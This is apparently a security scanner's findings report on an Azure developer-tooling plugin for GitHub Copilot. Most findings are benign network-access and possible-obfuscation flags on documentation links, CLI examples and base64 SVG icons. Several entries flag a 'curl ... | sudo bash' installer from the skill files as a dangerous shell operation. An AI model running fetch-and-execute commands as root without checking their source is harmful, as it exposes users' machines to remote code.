"b64": "PHN2ZyBpZD0iYjVhYWM2MzMtNWU0ZS00YmEzLWI3OWQtODc0MDMwYjAxNjI4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YWJhMjhkLWE2MWUtNGM1ZS1hODgx - Possible obfuscationline 1332
"b64": "PHN2ZyBpZD0idXVpZC05ODllYmM3MS1kN2U4LTRmZGEtYmU1Mi05MGEzYWE3OGViNmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Im05LjQwNSwwaDguMjk4Yy4xNjQsMCwuMjk3LjEzMy4yOTcu - Possible obfuscationline 1337
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOGY2ZWYxLWZkMzEtNDc1MS05MTA4LWY5NDcyOWMwZjE2OSIgeDE9IjkuMDQ5IiB5MT0iMS4xOTYiIHgyPSI5 - Possible obfuscationline 1342
"b64": "PHN2ZyBpZD0idXVpZC00ZDQ3ZGZlNi02NTg2LTQ3MWMtYjQ5MS02NGMxNTk2MWQ3MjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0xMTQ5N2NhZS1hZTRj - Possible obfuscationline 1347
"b64": "PHN2ZyBpZD0iYTU0MmNmMzktMmJhNi00MjA2LTgyNzgtNmE0ZjFjMjQ1MmY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU3NTc5ZjRkLTM2YTMtNDY5My1hNzI2 - Possible obfuscationline 1352
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVkNTUyODRjLTBlYWEtNGVkZi1hMWI2LWE0Yzk1MGNmNTZhZiIgeDE9Ii00MDE0LjIyNSIgeTE9Ii0xMTkuODY0 - Possible obfuscationline 1357
"b64": "PHN2ZyBpZD0iZjFmNmU3NmYtZDA5Mi00ZjQ5LTgyMmItYWMzMDg4MmUyZGE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMDQxMjExLWViMGQtNGNiMi04NWFm - Possible obfuscationline 1362
"b64": "PHN2ZyBpZD0idXVpZC0zYmNkNTliNy1iOTgyLTQ1MzAtOWIxMi0xNmRjOTQ0MTc5YmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjU0YTE0Yy1kYTEx - Possible obfuscationline 1367
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJmNDcxYTA4ZS1lZjNhLTRmOGMtYTA4 - Possible obfuscationline 1372
"b64": "PHN2ZyBpZD0idXVpZC1mY2IxN2ViNC05OTgyLTRjNzAtOTJhMC1lNDBiOTUxOWY3NzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxnPjxnPjxwYXRoIGQ9Ik0xMi4xLDE1LjE0NGMtMy4xNTgsMC01LjcxNi0u - Possible obfuscationline 1377
"b64": "PHN2ZyBpZD0iYmFjMjg2OTAtMjRiYS00ZDlkLTkyYjAtYmFkOWNjOGRiZDkyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExN2FhMzU0LWU1NjctNDM1Ni1hNzE4 - Possible obfuscationline 1382
"b64": "PHN2ZyBpZD0iYWU3OGZhOWYtMmE2Yi00NTI4LTk4NWYtNmM3OGQ0NjZjOGE4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYTU3MjA0LTcwZGItNGIxZS1iMTAz - Possible obfuscationline 1387
"b64": "PHN2ZyBpZD0idXVpZC03NDRiN2U5NS01MDE0LTRiMzUtOTUzOS1lOWQwMzNiOGViNDMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MzMwYzBiNy0wMmRh - Possible obfuscationline 1392
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViOGNmYmE5LTFmMDYtNDJiOS1hNTFjLTRhYTQyYWU4MWY2ZCIgeDE9IjcuNzI2IiB5MT0iLTQuNDE3IiB4Mj0i - Possible obfuscationline 1397
"b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl - Possible obfuscationline 1402
"b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/SKILL.md
- Network accessline 24
# Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 25
brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI - Dangerous shell operationline 26
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 26
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 146
- [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/build-and-tasks.md
- Network accessline 32
# Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 33
az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 59
az acr task create --registry {registry} --name build-app \ --image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 60
--image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ --file Dockerfile \ - Network accessline 61
--context https://github.com/{org}/{repo}.git#main \ - Network accessline 124
az acr task create --registry {registry} --name build-test-push \ --file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 125
--file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ --git-access-token {pat} - Network accessline 126
--context https://github.com/{org}/{repo}.git#main \
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/images-and-artifacts.md
- Network accessline 148
az acr credential-set create --registry {registry} --name dockerhub-creds \ --login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 149
--login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ --password-id https://{vault}.vault.azure.net/secrets/dh-pass - Network accessline 150
--username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 151
--password-id https://{vault}.vault.azure.net/secrets/dh-pass
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/networking-and-geo.md
- Network accessline 93
Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected. - Network accessline 130
az acr export-pipeline create --resource-group {rg} --registry {src-registry} \ --name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 131
--name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 132
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 133
--storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 136
az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \ --name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 137
--name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 138
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 139
--storage-container-uri https://{account}.blob.core.windows.net/{container}
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-deployment-preflight/SKILL.md
- Access to secretsline 35
[Credential-related source omitted]
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/ERROR-HANDLING.md
- Network accessline 35
- **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 37
- **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 166
- **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn - Network accessline 168
- **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064 - Network accessline 211
2. Provide installation instructions. - If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 212
- If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands - Network accessline 213
- Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 245
- **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - Network accessline 246
- **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if - Network accessline 247
- **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/examples/azure.yaml
- Network accessline 1
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/references/iac-and-environments.md
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/references/official-docs.md
- Network accessline 7
- [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 8
- [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview) - Network accessline 9
- [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates) - Network accessline 10
- [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible) - Network accessline 11
- [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema) - Network accessline 12
- [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json) - Network accessline 13
- [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow) - Network accessline 14
- [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment) - Network accessline 18
- [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 19
- [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/) - Network accessline 20
- [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/) - Network accessline 21
- [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/) - Network accessline 25
- [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview) - Network accessline 26
- [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments) - Network accessline 27
- [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables) - Network accessline 28
- [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support) - Network accessline 29
- [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets) - Network accessline 33
- [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility) - Network accessline 34
- [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline) - Network accessline 35
- [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions) - Network accessline 36
- [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features) - Network accessline 37
- [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference) - Network accessline 38
- [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot) - Network accessline 42
- [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills) - Network accessline 43
- [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/references/project-structure.md
- Network accessline 59
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/SKILL.md
- Network accessline 27
# Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Dangerous shell operationline 28
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 28
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 37
az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN - Network accessline 38
az devops configure --defaults organization=https://dev.azure.com/{org} project={project} - Network accessline 42
Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`. - Network accessline 129
- **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https:// - Network accessline 130
- **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr - Network accessline 131
- **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - Network accessline 157
**Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}` - Network accessline 158
**Organization:** `https://dev.azure.com/{org}` - Network accessline 178
- [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 179
- [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 188
- [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/advanced-usage.md
- Network accessline 159
| Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | - Network accessline 160
|---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID | - Network accessline 161
| `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/long-comments-on-windows.md
- Network accessline 54
The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/org-and-security.md
- Network accessline 22
az devops project list --organization https://dev.azure.com/{org} - Network accessline 29
az devops project create \ --name myNewProject \ --organization https://dev.azure.com/{org} \ - Network accessline 30
--name myNewProject \ --organization https://dev.azure.com/{org} \ --description "My new DevOps project" \ - Network accessline 31
--organization https://dev.azure.com/{org} \ - Network accessline 40
az devops project show --project {project-name} --org https://dev.azure.com/{org} - Network accessline 46
az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes - Network accessline 155
az devops user list --org https://dev.azure.com/{org} - Network accessline 162
az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org} - Network accessline 168
az devops user add --email user@example.com --license-type express --org https://dev.azure.com/{org} - Network accessline 169
--email user@example.com \ --license-type express \ --org https://dev.azure.com/{org} - Network accessline 171
--org https://dev.azure.com/{org} - Network accessline 177
az devops user update --user {user-id-or-email} --license-type advanced --org https://dev.azure.com/{org} - Network accessline 178
--user {user-id-or-email} \ --license-type advanced \ --org https://dev.azure.com/{org} - Network accessline 180
--org https://dev.azure.com/{org} - Network accessline 186
az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes - Network accessline 440
# List installed extensions az devops extension list --org https://dev.azure.com/{org} - Network accessline 441
az devops extension list --org https://dev.azure.com/{org} - Network accessline 446
# Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 447
az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 450
az devops extension install \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} \ - Network accessline 451
--ext-id {extension-id} \ --org https://dev.azure.com/{org} \ --publisher {publisher-id} - Network accessline 452
--org https://dev.azure.com/{org} \ - Network accessline 456
az devops extension enable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 458
--org https://dev.azure.com/{org} - Network accessline 461
az devops extension disable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 463
--org https://dev.azure.com/{org} - Network accessline 466
az devops extension uninstall \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} --yes - Network accessline 468
--org https://dev.azure.com/{org} --yes
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/pipelines-and-builds.md
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/repos-and-prs.md
- Network accessline 17
az repos list --org https://dev.azure.com/{org} --project {project} - Network accessline 50
# Import from public Git repository az repos import create \ --git-source-url https://github.com/user/repo \ - Network accessline 51
az repos import create --git-source-url https://github.com/user/repo - Network accessline 52
--git-source-url https://github.com/user/repo \ - Network accessline 55
# Import with authentication az repos import create \ --git-source-url https://github.com/{owner}/{repo} \ - Network accessline 56
az repos import create --git-source-url https://github.com/{owner}/{repo} - Network accessline 57
--git-source-url https://github.com/{owner}/{repo} \
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/workflows-and-patterns.md
- Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Network accessline 177
"serviceEndpointId": "$SERVICE_ENDPOINT_ID" }, "url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Network accessline 178
[Credential-related source omitted] - Network accessline 179
"url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Access to secretsline 185
[Credential-related source omitted] - Network accessline 333
# Alternative download method curl -L "$BACKUP_URL" -o ./output/backup.zip - Network accessline 334
curl -L "$BACKUP_URL" -o ./output/backup.zip - Access to secretsline 460
[Credential-related source omitted] - Access to secretsline 461
[Credential-related source omitted] - Network accessline 553
if [[ "$RESULT" == "failed" ]]; then # Send Slack alert curl -X POST "$slack_webhook" \ - Network accessline 554
# Send Slack alert curl -X POST "$slack_webhook" \ -H 'Content-Type: application/json' \ - Network accessline 555
curl -X POST "$slack_webhook" \
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-static-web-apps/SKILL.md
- Network accessline 22
- `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall - Network accessline 24
- Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`. - Network accessline 45
{ "$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 46
"$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 52
"appBuildCommand": "npm run build", "run": "npm run dev", "appDevserverUrl": "http://localhost:3000" - Network accessline 53
"run": "npm run dev", "appDevserverUrl": "http://localhost:3000" } - Network accessline 54
"appDevserverUrl": "http://localhost:3000" - Network accessline 78
| `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, - Network accessline 79
| `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star - Network accessline 80
| `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, - Network accessline 126
Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag - Network accessline 206
### Validation - Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 207
- Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 208
- API `http://localhost:4280/api/message`: pass | fail | not applicable - Network accessline 223
- [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)
harness/github-copilot/plugins/azure-developer-tooling/skills/cloud-design-patterns/SKILL.md
harness/github-copilot/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep/SKILL.md
- Network accessline 22
- A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta - Network accessline 24
- Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. - Network accessline 30
| Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/ - Network accessline 31
| Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m - Network accessline 32
| Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | - Network accessline 33
| Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. | - Network accessline 39
1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a - Network accessline 40
2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio - Network accessline 41
3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. - Network accessline 42
4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree - Network accessline 43
5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes. - Network accessline 66
| Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep - Network accessline 67
|--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource - Network accessline 68
| avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 69
| avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 70
| avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 89
- [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) - Network accessline 90
- [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)
harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/azqr-recommendations.md
- Network accessline 171
- [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 172
- [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources) - Network accessline 173
